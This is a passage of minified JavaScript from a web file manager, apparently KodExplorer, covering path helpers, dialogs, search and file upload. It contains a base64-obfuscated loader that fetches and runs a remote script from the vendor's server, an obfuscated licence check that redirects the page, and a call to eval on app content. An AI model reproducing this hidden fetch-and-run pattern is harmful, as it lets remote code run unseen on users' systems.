$(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t[0],i)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]() +},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var 